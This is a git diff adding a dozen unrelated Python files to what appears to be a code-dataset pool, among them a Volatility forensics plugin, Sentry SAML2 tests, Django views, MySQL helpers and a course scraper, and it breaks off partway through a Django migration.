diff --git a/pool/shard000/Python/0007510_save.py b/pool/shard000/Python/0007510_save.py new file mode 100644 index 0000000000000000000000000000000000000000..cae39d24971775024c7175c6423af626f870227a --- /dev/null +++ b/pool/shard000/Python/0007510_save.py @@ -0,0 +1,42 @@ +import os +import json + + +class savedparser: + + def __init__(self, saved_path: str): + + if not os.path.isfile(saved_path): + raise FileNotFoundError + + self.saved_path = saved_path + + def parse(self): + + with open(self.saved_path, 'r') as save_file: + articles = json.load(save_file) + + return articles + + def insert(self, article: dict): + + with open(self.saved_path) as save_file: + articles = json.load(save_file) + + ids_old = [a['id'] for a in articles] + + if article['id'] not in ids_old: + articles = [article] + articles + + with open(self.saved_path, 'w') as save_file: + json.dump(articles, save_file) + + def remove(self, num: int=1): + + with open(self.saved_path) as save_file: + articles = json.load(save_file) + + articles = articles[:num-1] + articles[num:] + + with open(self.saved_path, 'w') as save_file: + json.dump(articles, save_file) diff --git a/pool/shard000/Python/0007513_netconns.py b/pool/shard000/Python/0007513_netconns.py new file mode 100644 index 0000000000000000000000000000000000000000..afa11c90b0ce7291f5c579f374dc6031799f2754 --- /dev/null +++ b/pool/shard000/Python/0007513_netconns.py @@ -0,0 +1,114 @@ +# Volatility +# Copyright (C) 2007-2013 Volatility Foundation +# +# This file is part of Volatility. +# +# Volatility is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# (at your option) any later version. +# +# Volatility is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with Volatility. If not, see . +# + +""" +@author: Andrew Case +@license: GNU General Public License 2.0 +@contact: atcuno@gmail.com +@organization: +""" + +import volatility.obj as obj +import volatility.plugins.mac.common as common +from volatility.renderers import TreeGrid +from volatility.renderers.basic import Address + +class mac_network_conns(common.AbstractMacCommand): + """ Lists network connections from kernel network structures """ + + # in_pcblookup_hash - bsd/netinet/in_pcb.c + def _walk_pcb_hash(self, proto_pcbinfo): + pcb_hash = obj.Object("Array", offset = proto_pcbinfo.hashbase, vm = self.addr_space, targetType = "Pointer", count = proto_pcbinfo.hashmask + 1) + + for pcb_ent in pcb_hash: + head = pcb_ent.dereference_as("inpcbhead") + + if not head: + continue + + inpcb = head.lh_first.dereference_as("inpcb") + + while inpcb: + yield inpcb + inpcb = inpcb.inp_hash.le_next + + # in_pcblookup_hash - bsd/netinet/in_pcb.c + def _walk_pcb_list(self, proto_pcbinfo): + inpcb = proto_pcbinfo.listhead.lh_first.dereference_as("inpcb") + + while inpcb: + yield inpcb + inpcb = inpcb.inp_list.le_next + + def _walk_pcb_entries(self, inpcbinfo_addr): + pcbs = {} + + inpcbinfo = obj.Object("inpcbinfo", offset = inpcbinfo_addr, vm = self.addr_space) + + for pcbinfo in self._walk_pcb_list(inpcbinfo): + pcbs[pcbinfo.obj_offset] = pcbinfo + + for pcbinfo in self._walk_pcb_hash(inpcbinfo): + pcbs[pcbinfo.obj_offset] = pcbinfo + + for pcbinfo in pcbs.values(): + (lip, lport, rip, rport) = pcbinfo.ipv4_info() + yield (pcbinfo, lip, lport, rip, rport) + + def calculate(self): + common.set_plugin_members(self) + + entries = [] + + tcbinfo_addr = self.addr_space.profile.get_symbol("_tcbinfo") + udbinfo_addr = self.addr_space.profile.get_symbol("_udbinfo") + ripdbinfo_addr = self.addr_space.profile.get_symbol("_ripcbinfo") + + info_addrs = [("TCP", tcbinfo_addr), ("UDP", udbinfo_addr), ("RAW", ripdbinfo_addr)] + + for (proto_str, info_addr) in info_addrs: + for (pcbinfo, lip, lport, rip, rport) in self._walk_pcb_entries(info_addr): + if proto_str == "TCP": + state = pcbinfo.get_tcp_state() + else: + state = "" + yield (proto_str, pcbinfo, lip, lport, rip, rport, state) + + def unified_output(self, data): + return TreeGrid([("Offset (V)", Address), + ("Protocol", str), + ("Local IP", str), + ("Local Port", int), + ("Remote IP", str), + ("Remote Port", int), + ("State", str), + ], self.generator(data)) + + def generator(self, data): + for (proto, pcb, lip, lport, rip, rport, state) in data: + yield(0, [ + Address(pcb.obj_offset), + str(proto), + str(lip), + int(lport), + str(rip), + int(rport), + str(state), + ]) + diff --git a/pool/shard000/Python/0007515_torrent_tests.py b/pool/shard000/Python/0007515_torrent_tests.py new file mode 100644 index 0000000000000000000000000000000000000000..eec600dffc530981c58c4067bcaf3846f6a29038 --- /dev/null +++ b/pool/shard000/Python/0007515_torrent_tests.py @@ -0,0 +1,76 @@ +import unittest + +import sickchill.logger +from sickchill import settings +from sickchill.oldbeard.providers import bitcannon, rarbg +from sickchill.tv import TVEpisode, TVShow +from tests import test_lib as test + + +class TorrentBasicTests(test.SickChillTestDBCase): + """ + Test torrents + """ + @classmethod + def setUpClass(cls): + cls.shows = [] + + show = TVShow(1, 121361) + show.name = "Italian Works" + show.episodes = [] + episode = TVEpisode(show, 5, 10) + episode.name = "Pines of Rome" + episode.scene_season = 5 + episode.scene_episode = 10 + show.episodes.append(episode) + cls.shows.append(show) + + def test_bitcannon(self): + """ + Test bitcannon + """ + provider = bitcannon.Provider() + provider.custom_url = "" # true testing requires a valid URL here (e.g., "http://localhost:3000/") + provider.api_key = "" + + if provider.custom_url: + + search_strings_list = provider.get_episode_search_strings(self.shows[0].episodes[0]) # [{'Episode': ['Italian Works S05E10']}] + for search_strings in search_strings_list: + provider.search(search_strings) # {'Episode': ['Italian Works S05E10']} + + return True + + @unittest.skip('Only run this manually') + def test_search(self): + """ + Test searching, using rarbg + """ + settings.CPU_PRESET = 'LOW' + provider = rarbg.Provider() + results = provider.search({'Episode': ['The Mandalorian S01E08']}) + self.assertTrue(results) + self.assertIn('Mandalorian', results[0]['title']) + + results = provider.search({'RSS': ['']}) + self.assertTrue(results) + + +if __name__ == "__main__": + print("==================") + print("STARTING - Torrent Basic TESTS") + print("==================") + print("######################################################################") + + def override_log(msg, *args, **kwargs): + """Override the SickChill logger so we can see the debug output from providers""" + _ = args, kwargs + print(msg) + + sickchill.logger.info = override_log + sickchill.logger.debug = override_log + sickchill.logger.error = override_log + sickchill.logger.warning = override_log + + SUITE = unittest.TestLoader().loadTestsFromTestCase(TorrentBasicTests) + unittest.TextTestRunner(verbosity=2).run(SUITE) diff --git a/pool/shard000/Python/0007520_dbutils.py b/pool/shard000/Python/0007520_dbutils.py new file mode 100644 index 0000000000000000000000000000000000000000..fcd6b2031cd28e5147c406fe5207042cc17b9ec9 --- /dev/null +++ b/pool/shard000/Python/0007520_dbutils.py @@ -0,0 +1,65 @@ +#encoding: utf-8 + +import MySQLdb + +import gconf + + +def execute_fetch_sql(sql, args=(), fetch=True): + return execute_sql(sql, args, fetch) + +def execute_commit_sql(sql, args=(), fetch=False): + return execute_sql(sql, args, fetch) + + +def execute_sql(sql, args=(), fetch=True): + _conn = None + _cur = None + _count = 0 + _rt_list = [] + try: + _conn = MySQLdb.connect(host=gconf.MYSQL_HOST, port=gconf.MYSQL_PORT, \ + user=gconf.MYSQL_USER, passwd=gconf.MYSQL_PASSWD, \ + db=gconf.MYSQL_DB, charset=gconf.MYSQL_CHARSET) + + #_conn.autocommit(True) #autocommit + _cur = _conn.cursor() + _count = _cur.execute(sql, args) + if fetch: + _rt_list = _cur.fetchall() + else: + _conn.commit() #commit, 和autocommit任选其一 + except BaseException as e: + print e + finally: + if _cur: + _cur.close() + if _conn: + _conn.close() + return _count, _rt_list + +def bulker_commit_sql(sql, args_list=[]): + _conn = None + _cur = None + _count = 0 + _rt_list = [] + try: + _conn = MySQLdb.connect(host=gconf.MYSQL_HOST, port=gconf.MYSQL_PORT, \ + user=gconf.MYSQL_USER, passwd=gconf.MYSQL_PASSWD, \ + db=gconf.MYSQL_DB, charset=gconf.MYSQL_CHARSET) + + #_conn.autocommit(True) #autocommit + _cur = _conn.cursor() + for _args in args_list: + print sql, _args + _count += _cur.execute(sql, _args) + _conn.commit() #commit, 和autocommit任选其一 + except BaseException as e: + print e + finally: + if _cur: + _cur.close() + if _conn: + _conn.close() + + return _count, _rt_list \ No newline at end of file diff --git a/pool/shard000/Python/0007523_crypto.py b/pool/shard000/Python/0007523_crypto.py new file mode 100644 index 0000000000000000000000000000000000000000..8eba58aecb6a62e3e998b7ec3c4c1851153c8937 --- /dev/null +++ b/pool/shard000/Python/0007523_crypto.py @@ -0,0 +1,88 @@ +# coding=utf-8 +# +# Copyright 2016 F5 Networks Inc. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +"""BIG-IP® system config module + +REST URI + ``http://localhost/mgmt/tm/sys/config`` + +GUI Path + N/A + +REST Kind + ``tm:sys:config:*`` +""" + +from f5.bigip.resource import Collection +from f5.bigip.resource import OrganizingCollection +from f5.bigip.resource import Resource + + +class Crypto(OrganizingCollection): + def __init__(self, sys): + super(Crypto, self).__init__(sys) + self._meta_data['allowed_lazy_attributes'] = [ + Certs, + Keys + ] + + +class Keys(Collection): + def __init__(self, crypto): + super(Keys, self).__init__(crypto) + self._meta_data['allowed_lazy_attributes'] = [ + Key + ] + self._meta_data['attribute_registry'] =\ + {'tm:sys:crypto:key:keystate': Key} + + def install_key(self, certfilename, keyfilename): + payload =\ + {"from-local-file": "/var/config/rest/downloads/%s" % keyfilename, + "command": "install", + "name": certfilename[:-4]} + self._meta_data['icr_session'].post(self._meta_data['uri'], + json=payload) + + +class Key(Resource): + def __init__(self, keys): + super(Key, self).__init__(keys) + self._meta_data['required_json_kind'] = 'tm:sys:crypto:key:keystate' + + +class Certs(Collection): + def __init__(self, crypto): + super(Certs, self).__init__(crypto) + self._meta_data['allowed_lazy_attributes'] = [ + Cert + ] + self._meta_data['attribute_registry'] =\ + {'tm:sys:crypto:cert:certstate': Cert} + + def install_cert(self, certfilename): + payload =\ + {"from-local-file": "/var/config/rest/downloads/%s" % certfilename, + "command": "install", + "name": certfilename[:-4]} + self._meta_data['icr_session'].post(self._meta_data['uri'], + json=payload) + + +class Cert(Resource): + def __init__(self, certs): + super(Cert, self).__init__(certs) + self._meta_data['required_json_kind'] = 'tm:sys:crypto:cert:certstate' diff --git a/pool/shard000/Python/0007526_bmn-fastaLenDistribOverlap.py b/pool/shard000/Python/0007526_bmn-fastaLenDistribOverlap.py new file mode 100644 index 0000000000000000000000000000000000000000..15bcadd263c80c91ba0b90d757a08cd30099d042 --- /dev/null +++ b/pool/shard000/Python/0007526_bmn-fastaLenDistribOverlap.py @@ -0,0 +1,96 @@ +#!/usr/bin/env python +### + + +import string +import copy +import sys +from Bio import SeqIO +from StringIO import StringIO +import random + +fastafile1 = sys.argv[1] +fastafile2 = sys.argv[2] +seqs1=[] +seqs2=[] +sizes1=[] + +handle1 = open(fastafile1) +for seq_record in SeqIO.parse(handle1, "fasta"): + sizes1.append(len(seq_record.seq)) + seqs1.append(seq_record) + +handle1.close() + +handle2 = open(fastafile2) +sizes2 = [len(seq_record.seq) for seq_record in SeqIO.parse(handle2, "fasta")] + +handle2.close() + + +def uniq(seq): + keys = {} + for e in seq: + keys[e] = 1 + return keys.keys() + +allSizes=uniq(sizes1+sizes2) + + + +distrib1={} +for i in allSizes: + distrib1[i]=0 + +distrib2=copy.deepcopy(distrib1) +distribCounter1=copy.deepcopy(distrib1) +distribCounter2=copy.deepcopy(distrib1) + +for i in sizes1: + distrib1[i]+=1 + +for j in sizes2: + distrib2[j]+=1 + +distribCommon={} +for i in allSizes: + if min(distrib1[i],distrib2[i])!=0: + distribCommon[i]=min(distrib1[i],distrib2[i]) + +random.shuffle(seqs1) + +handleout1 = open(fastafile1+".overlap", "w") + +for i in seqs1: + seqsize=len(i.seq) + if distribCommon.has_key(seqsize): + if distribCounter1[seqsize] < distribCommon[seqsize]: + SeqIO.write(i, handleout1, "fasta") + distribCounter1[seqsize]+=1 + +handleout1.close() + +handle2r = open(fastafile2) +for seq_record in SeqIO.parse(handle2r, "fasta"): + seqs2.append(seq_record) +handle2r.close() + +random.shuffle(seqs2) + +handleout2 = open(fastafile2+".overlap", "w") + +for i in seqs2: + seqsize=len(i.seq) + if distribCommon.has_key(seqsize): + if distribCounter2[seqsize] < distribCommon[seqsize]: + SeqIO.write(i, handleout2, "fasta") + distribCounter2[seqsize]+=1 + +handleout2.close() + + + + + + + diff --git a/pool/shard000/Python/0007527_letters.py b/pool/shard000/Python/0007527_letters.py new file mode 100644 index 0000000000000000000000000000000000000000..7d5d7051c1cd7a47b4bf01c149bd607390f1cd6e --- /dev/null +++ b/pool/shard000/Python/0007527_letters.py @@ -0,0 +1,147 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- +"""This file is part of the prometeo project. + +This program is free software: you can redistribute it and/or modify it +under the terms of the GNU Lesser General Public License as published by the +Free Software Foundation, either version 3 of the License, or (at your +option) any later version. + +This program is distributed in the hope that it will be useful, but WITHOUT +ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or +FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for +more details. + +You should have received a copy of the GNU Lesser General Public License +along with this program. If not, see +""" + +__author__ = 'Emanuele Bertoldi ' +__copyright__ = 'Copyright (c) 2011 Emanuele Bertoldi' +__version__ = '0.0.5' + +from django.utils.translation import ugettext_lazy as _ +from django.shortcuts import render_to_response, get_object_or_404 +from django.core.urlresolvers import reverse +from django.views.generic.simple import redirect_to +from django.views.generic import list_detail, create_update +from django.template import RequestContext +from django.contrib import messages + +from prometeo.core.auth.decorators import obj_permission_required as permission_required +from prometeo.core.views import filtered_list_detail +from prometeo.documents.models import * +from prometeo.documents.forms import * +from prometeo.documents.views import * +from prometeo.products.forms import ProductEntryFormset + +from ..models import * +from ..forms import * + +def _get_letter(request, *args, **kwargs): + note_id = kwargs.get('note_id', None) + if note_id: + return get_object_or_404(Letter, id=note_id) + id = kwargs.get('id', None) + if id: + return get_object_or_404(Letter, id=id) + return None + +@permission_required('partners.view_letter') +def letter_list(request, page=0, paginate_by=10, **kwargs): + """Shows a letter list. + """ + return filtered_list_detail( + request, + Document.objects.get_for_content(Letter), + fields=['code', 'author', 'created', 'owner'], + page=page, + paginate_by=paginate_by, + template_name='partners/letter_list.html', + **kwargs + ) + +@permission_required('partners.add_letter') +def letter_add(request, **kwargs): + """Adds a new letter. + """ + letter = Letter() + doc = Document(author=request.user, content_object=letter) + + if request.method == 'POST': + dform = DocumentForm(request.POST, instance=doc) + form = LetterForm(request.POST, instance=letter) + if form.is_valid() and dform.is_valid(): + form.save() + doc.content_object = letter + dform.save() + messages.success(request, _("The letter was created successfully.")) + return redirect_to(request, url=doc.get_absolute_url()) + else: + dform = DocumentForm(instance=doc) + form = LetterForm(instance=letter) + + return render_to_response('partners/letter_edit.html', RequestContext(request, {'form': form, 'dform': dform, 'object': doc})) + +@permission_required('partners.view_letter', _get_letter) +def letter_detail(request, id, page=None, **kwargs): + """Shows letter details. + """ + object_list = Document.objects.get_for_content(Letter) + + return list_detail.object_detail( + request, + object_id=object_list.get(object_id=id).pk, + queryset=object_list, + extra_context={ + 'object_list': object_list, + }, + template_name=kwargs.pop('template_name', 'partners/letter_detail.html'), + **kwargs + ) + +@permission_required('partners.change_letter', _get_letter) +def letter_edit(request, id, **kwargs): + """Edits a letter. + """ + doc = get_object_or_404(Document.objects.get_for_content(Letter), object_id=id) + letter = doc.content_object + + if request.method == 'POST': + dform = DocumentForm(request.POST, instance=doc) + form = LetterForm(request.POST, instance=letter) + if form.is_valid() and dform.is_valid(): + form.save() + dform.save() + messages.success(request, _("The letter was updated successfully.")) + return redirect_to(request, url=doc.get_absolute_url()) + else: + dform = DocumentForm(instance=doc) + form = LetterForm(instance=letter) + + return render_to_response('partners/letter_edit.html', RequestContext(request, {'form': form, 'dform': dform, 'object': doc})) + +@permission_required('partners.delete_letter', _get_letter) +def letter_delete(request, id, **kwargs): + """Deletes a letter. + """ + return create_update.delete_object( + request, + model=Document, + object_id=Document.objects.get_for_content(Letter).get(object_id=id).pk, + post_delete_redirect=reverse('letter_list'), + template_name='partners/letter_delete.html', + **kwargs + ) + +@permission_required('partners.view_letter', _get_letter) +def letter_hardcopies(request, id, page=0, paginate_by=10, **kwargs): + """Shows letter hard copies. + """ + return hardcopy_list(request, Document.objects.get_for_content(Letter).get(object_id=id).pk, page, paginate_by, **kwargs) + +@permission_required('partners.change_letter', _get_letter) +def letter_add_hardcopy(request, id, **kwargs): + """Adds an hard copy to the given document. + """ + return hardcopy_add(request, Document.objects.get_for_content(Letter).get(object_id=id).pk, **kwargs) diff --git a/pool/shard000/Python/0007528_test_auth_saml2.py b/pool/shard000/Python/0007528_test_auth_saml2.py new file mode 100644 index 0000000000000000000000000000000000000000..9b623112fb44c1575053701566000c88e4349f5a --- /dev/null +++ b/pool/shard000/Python/0007528_test_auth_saml2.py @@ -0,0 +1,176 @@ +from __future__ import absolute_import + +import six +import pytest +import base64 +import mock +from exam import fixture +from six.moves.urllib.parse import urlencode, urlparse, parse_qs + +from django.conf import settings +from django.core.urlresolvers import reverse + +from sentry.auth.providers.saml2 import SAML2Provider, Attributes, HAS_SAML2 +from sentry.models import AuthProvider +from sentry.testutils import AuthProviderTestCase +from sentry.testutils.helpers import Feature + + +dummy_provider_config = { + 'idp': { + 'entity_id': 'https://example.com/saml/metadata/1234', + 'x509cert': 'foo_x509_cert', + 'sso_url': 'http://example.com/sso_url', + 'slo_url': 'http://example.com/slo_url', + }, + 'attribute_mapping': { + Attributes.IDENTIFIER: 'user_id', + Attributes.USER_EMAIL: 'email', + Attributes.FIRST_NAME: 'first_name', + Attributes.LAST_NAME: 'last_name', + }, +} + + +class DummySAML2Provider(SAML2Provider): + def get_saml_setup_pipeline(self): + return [] + + def build_config(self, state): + return dummy_provider_config + + +@pytest.mark.skipif(not HAS_SAML2, reason='SAML2 library is not installed') +class AuthSAML2Test(AuthProviderTestCase): + provider = DummySAML2Provider + provider_name = 'saml2_dummy' + + def setUp(self): + self.user = self.create_user('rick@onehundredyears.com') + self.org = self.create_organization(owner=self.user, name='saml2-org') + self.auth_provider = AuthProvider.objects.create( + provider=self.provider_name, + config=dummy_provider_config, + organization=self.org, + ) + + # The system.url-prefix, which is used to generate absolute URLs, must + # have a TLD for the SAML2 library to consider the URL generated for + # the ACS endpoint valid. + self.url_prefix = settings.SENTRY_OPTIONS.get('system.url-prefix') + + settings.SENTRY_OPTIONS.update({ + 'system.url-prefix': 'http://testserver.com', + }) + + super(AuthSAML2Test, self).setUp() + + def tearDown(self): + # restore url-prefix config + settings.SENTRY_OPTIONS.update({ + 'system.url-prefix': self.url_prefix, + }) + + super(AuthSAML2Test, self).tearDown() + + @fixture + def login_path(self): + return reverse('sentry-auth-organization', args=['saml2-org']) + + @fixture + def acs_path(self): + return reverse('sentry-auth-organization-saml-acs', args=['saml2-org']) + + @fixture + def setup_path(self): + return reverse('sentry-organization-auth-settings', args=['saml2-org']) + + def test_redirects_to_idp(self): + resp = self.client.post(self.login_path, {'init': True}) + + assert resp.status_code == 302 + redirect = urlparse(resp.get('Location', '')) + query = parse_qs(redirect.query) + + assert redirect.path == '/sso_url' + assert 'SAMLRequest' in query + + def accept_auth(self, **kargs): + saml_response = self.load_fixture('saml2_auth_response.xml') + saml_response = base64.b64encode(saml_response) + + # Disable validation of the SAML2 mock response + is_valid = 'onelogin.saml2.response.OneLogin_Saml2_Response.is_valid' + + with mock.patch(is_valid, return_value=True): + return self.client.post(self.acs_path, {'SAMLResponse': saml_response}, **kargs) + + def test_auth_sp_initiated(self): + # Start auth process from SP side + self.client.post(self.login_path, {'init': True}) + auth = self.accept_auth() + + assert auth.status_code == 200 + assert auth.context['existing_user'] == self.user + + def test_auth_idp_initiated(self): + auth = self.accept_auth() + + assert auth.status_code == 200 + assert auth.context['existing_user'] == self.user + + def test_auth_setup(self): + self.auth_provider.delete() + self.login_as(self.user) + + data = {'init': True, 'provider': self.provider_name} + + with Feature(['organizations:sso', 'organizations:sso-saml2']): + setup = self.client.post(self.setup_path, data) + + assert setup.status_code == 302 + redirect = urlparse(setup.get('Location', '')) + assert redirect.path == '/sso_url' + + auth = self.accept_auth(follow=True) + + messages = map(lambda m: six.text_type(m), auth.context['messages']) + + assert len(messages) == 2 + assert messages[0] == 'You have successfully linked your account to your SSO provider.' + assert messages[1].startswith('SSO has been configured for your organization') + + def test_auth_idp_initiated_no_provider(self): + self.auth_provider.delete() + auth = self.accept_auth(follow=True) + + assert auth.status_code == 200 + + messages = map(lambda m: six.text_type(m), auth.context['messages']) + assert len(messages) == 1 + assert messages[0] == 'The organization does not exist or does not have SAML SSO enabled.' + + def test_saml_metadata(self): + path = reverse('sentry-auth-organization-saml-metadata', args=['saml2-org']) + resp = self.client.get(path) + + assert resp.status_code == 200 + assert resp.get('content-type') == 'text/xml' + + def test_logout_request(self): + saml_request = self.load_fixture('saml2_slo_request.xml') + saml_request = base64.b64encode(saml_request) + + self.login_as(self.user) + + path = reverse('sentry-auth-organization-saml-sls', args=['saml2-org']) + path = path + '?' + urlencode({'SAMLRequest': saml_request}) + resp = self.client.get(path) + + assert resp.status_code == 302 + + redirect = urlparse(resp.get('Location', '')) + query = parse_qs(redirect.query) + + assert redirect.path == '/slo_url' + assert 'SAMLResponse' in query diff --git a/pool/shard000/Python/0007533_update_illinois.py b/pool/shard000/Python/0007533_update_illinois.py new file mode 100644 index 0000000000000000000000000000000000000000..4e257483e3ea169cb7a41e13fc2cdadc8ddd1e70 --- /dev/null +++ b/pool/shard000/Python/0007533_update_illinois.py @@ -0,0 +1,42 @@ +#!/usr/bin/env python + + + +from spider import * + +class IllinoisSpider(Spider): + + def __init__(self): + Spider.__init__(self) + self.school = 'illinois' + + def doWork(self): + + file_name = self.get_file_name('eecs', self.school) + file_lines = self.countFileLineNum(file_name) + f = self.open_db(file_name + ".tmp") + self.count = 0 + + r = requests.get('http://ws.engr.illinois.edu/courses/list.asp?mode=timetable&unit=1434&profile=/courses/profile/&groupby=term&term=120151&type=~ind') + text = r.text + text = text.replace("document.write('", '').replace("');", '').replace("\\", '') + soup = BeautifulSoup(text) + for div in soup.find_all('div', class_='extCourse'): + sp = BeautifulSoup(div.prettify()) + courseNum = sp.find('div', class_='extCourseRubric').text.replace(' ', '').strip() + title = sp.find('div', class_='extCourseTitle').text.strip() + link = 'http://cs.illinois.edu/courses/profile/' + courseNum + print courseNum + ' ' + title + self.count += 1 + self.write_db(f, courseNum, title, link) + + self.close_db(f) + if file_lines != self.count and self.count > 0: + self.do_upgrade_db(file_name) + print "before lines: " + str(file_lines) + " after update: " + str(self.count) + " \n\n" + else: + self.cancel_upgrade(file_name) + print "no need upgrade\n" + +start = IllinoisSpider() +start.doWork() diff --git a/pool/shard000/Python/0007542_workspaceSymbol.py b/pool/shard000/Python/0007542_workspaceSymbol.py new file mode 100644 index 0000000000000000000000000000000000000000..bb6e54a8a196b22f8af4d4158a6acc71c0a306b7 --- /dev/null +++ b/pool/shard000/Python/0007542_workspaceSymbol.py @@ -0,0 +1,53 @@ +from os import path +import sys + +from .base import Base + +sys.path.insert(0, path.dirname(path.dirname(__file__))) + +from common import ( # isort:skip # noqa: I100 E402 + convert_symbols_to_candidates, + SYMBOL_CANDIDATE_HIGHLIGHT_SYNTAX, + highlight_setup, +) + + +class Source(Base): + def __init__(self, vim): + super().__init__(vim) + self.vim = vim + + self.name = 'workspaceSymbol' + self.kind = 'file' + + def highlight(self): + highlight_setup(self, SYMBOL_CANDIDATE_HIGHLIGHT_SYNTAX) + + def gather_candidates(self, context): + context['is_interactive'] = True + prefix = context['input'] + bufnr = context['bufnr'] + + # This a hack to get around the fact that LanguageClient APIs + # work in the context of the active buffer, when filtering results + # interactively, the denite buffer is the active buffer and it doesn't + # have a language server asscosiated with it. + # We just switch to the buffer that initiated the denite transaction + # and execute the command from it. This should be changed when we + # have a better way to run requests out of the buffer. + # See issue#674 + current_buffer = self.vim.current.buffer.number + if current_buffer != bufnr: + self.vim.command("tabedit %") + self.vim.command( + "execute 'noautocmd keepalt buffer' {}".format(bufnr)) + result = self.vim.funcs.LanguageClient_runSync( + 'LanguageClient#workspace_symbol', prefix, {}) or [] + if current_buffer != bufnr: + self.vim.command("tabclose") + + candidates = convert_symbols_to_candidates( + result, + pwd=self.vim.funcs.getcwd()) + + return candidates diff --git a/pool/shard000/Python/0007547_setup.py b/pool/shard000/Python/0007547_setup.py new file mode 100644 index 0000000000000000000000000000000000000000..e483c13153c70ba9a8a55783d3a41972ea769e97 --- /dev/null +++ b/pool/shard000/Python/0007547_setup.py @@ -0,0 +1,37 @@ +# -*- coding: UTF-8 -*- + +from distutils.core import setup + +# http://stackoverflow.com/a/7071358/735926 +import re +VERSIONFILE='omitempty/__init__.py' +verstrline = open(VERSIONFILE, 'rt').read() +VSRE = r'^__version__\s+=\s+[\'"]([^\'"]+)[\'"]' +mo = re.search(VSRE, verstrline, re.M) +if mo: + verstr = mo.group(1) +else: + raise RuntimeError("Unable to find version string in %s." % VERSIONFILE) + +setup( + name='omitempty', + version=verstr, + author='Baptiste Fontaine', + author_email='b@ptistefontaine.fr', + packages=['omitempty'], + url='https://github.com/bfontaine/omitempty', + license=open('LICENSE', 'r').read(), + description='enums for Python', + long_description="""\ +omitempty is a Golang's omitempty equivalent for Python""", + classifiers=[ + 'License :: OSI Approved :: MIT License', + 'Programming Language :: Python :: 2.6', + 'Programming Language :: Python :: 2.7', + 'Programming Language :: Python :: 3.3', + 'Programming Language :: Python :: 3.4', + 'Programming Language :: Python :: 3.5', + 'Intended Audience :: Developers', + 'Operating System :: OS Independent', + ], +) diff --git a/pool/shard000/Python/0007548_estemplateresponsewriter.py b/pool/shard000/Python/0007548_estemplateresponsewriter.py new file mode 100644 index 0000000000000000000000000000000000000000..e947031d23480eee5e9764845727a7c4c3879dd2 --- /dev/null +++ b/pool/shard000/Python/0007548_estemplateresponsewriter.py @@ -0,0 +1,116 @@ +from types import * +import logging +import urllib +import json +from collections import OrderedDict + +from edge.httputility import HttpUtility +from edge.writer.templateresponsewriter import TemplateResponseWriter + +class ESTemplateResponseWriter(TemplateResponseWriter): + def __init__(self, configFilePath, requiredParams = None): + super(ESTemplateResponseWriter, self).__init__(configFilePath, requiredParams) + self.searchParameters = {} + self.variables = {} + self.facet = False + self.facetDefs = {} + self.contentType = 'application/xml' + + def get(self, requestHandler): + super(ESTemplateResponseWriter, self).get(requestHandler) + + startIndex = 0 + try: + startIndex = requestHandler.get_argument('startIndex') + self.searchParameters['startIndex'] = startIndex + except: + pass + + entriesPerPage = self._configuration.getint('solr', 'entriesPerPage') + try: + entriesPerPage = requestHandler.get_argument('itemsPerPage') + maxEntriesPerPage = self._configuration.getint('solr', 'maxEntriesPerPage') + if (int(entriesPerPage) > maxEntriesPerPage): + entriesPerPage = maxEntriesPerPage + self.searchParameters['itemsPerPage'] = entriesPerPage + except: + pass + + try: + if requestHandler.get_argument('pretty').lower() == 'true': + self.pretty = True + self.searchParameters['pretty'] = 'true' + except: + pass + + parameters = {} + for parameter in self._configuration.get('solr', 'parameters').split(','): + try: + value = requestHandler.get_arguments(parameter) + if len(value) == 1: + parameters[parameter] = value[0] + self.searchParameters[parameter] = value[0] + elif len(value) > 0: + parameters[parameter] = value + self.searchParameters[parameter] = value + except: + pass + + facets = {} + if self._configuration.has_option('solr', 'facets'): + self.facetDefs = json.loads(self._configuration.get('solr', 'facets'), object_pairs_hook=OrderedDict) + for facet in self.facetDefs.keys(): + try: + value = requestHandler.get_arguments(facet) + if len(value) > 0: + facets[self.facetDefs[facet]] = value + self.searchParameters[facet] = value + except: + pass + + try: + self._getResponse(startIndex, entriesPerPage, parameters, facets) + except: + logging.exception('Failed to get solr response.') + + def _urlEncodeSolrQueryValue(self, value): + return urllib.quote('"'+value+'"') + + def _onResponse(self, response): + logging.debug(response) + if response.error: + self._handleException(str(response.error)) + else: + self._writeResponse(response.body) + + def _writeResponse(self, responseText): + searchText = '' + if 'keyword' in self.variables: + searchText = self.variables['keyword'] + try: + openSearchResponse = self._generateOpenSearchResponse( + responseText, + searchText, + self._configuration.get('service', 'url') + self.requestHandler.request.path, + self.searchParameters, + self.pretty + ) + self.requestHandler.set_header("Content-Type", self.contentType) + self.requestHandler.set_header('Access-Control-Allow-Origin', '*') + self.requestHandler.write(openSearchResponse) + self.requestHandler.finish() + except BaseException as exception: + self._handleException(str(exception)) + + def _getResponse(self, startIndex, entriesPerPage, parameters, facets): + query = self._constructQuery(startIndex, entriesPerPage, parameters, facets) + url = self._configuration.get('solr', 'datasetUrl') + + httpUtility = HttpUtility() + httpUtility.getResponse(url+'/_search/?'+query, self._onResponse) + + def _generateOpenSearchResponse(self, solrResponse, searchText, searchUrl, searchParams, pretty): + pass + + def _constructQuery(self, startIndex, entriesPerPage, parameters, facets): + pass diff --git a/pool/shard000/Python/0007550_0043_meta_update_project_links_and_machinerequest_new_version_membership.py b/pool/shard000/Python/0007550_0043_meta_update_project_links_and_machinerequest_new_version_membership.py new file mode 100644 index 0000000000000000000000000000000000000000..caddf1460de93c0d957a239d8d5d0d47442f0f5b --- /dev/null +++ b/pool/shard000/Python/0007550_0043_meta_update_project_links_and_machinerequest_new_version_membership.py @@ -0,0 +1,23 @@ +# -*- coding: utf-8 -*- +from __future__ import unicode_literals + +from django.db import migrations, models + + +class Migration(migrations.Migration): + + dependencies = [ + ('core', '0042_add_external_link_and_project_resources'), + ] + + operations = [ + migrations.AlterField( + 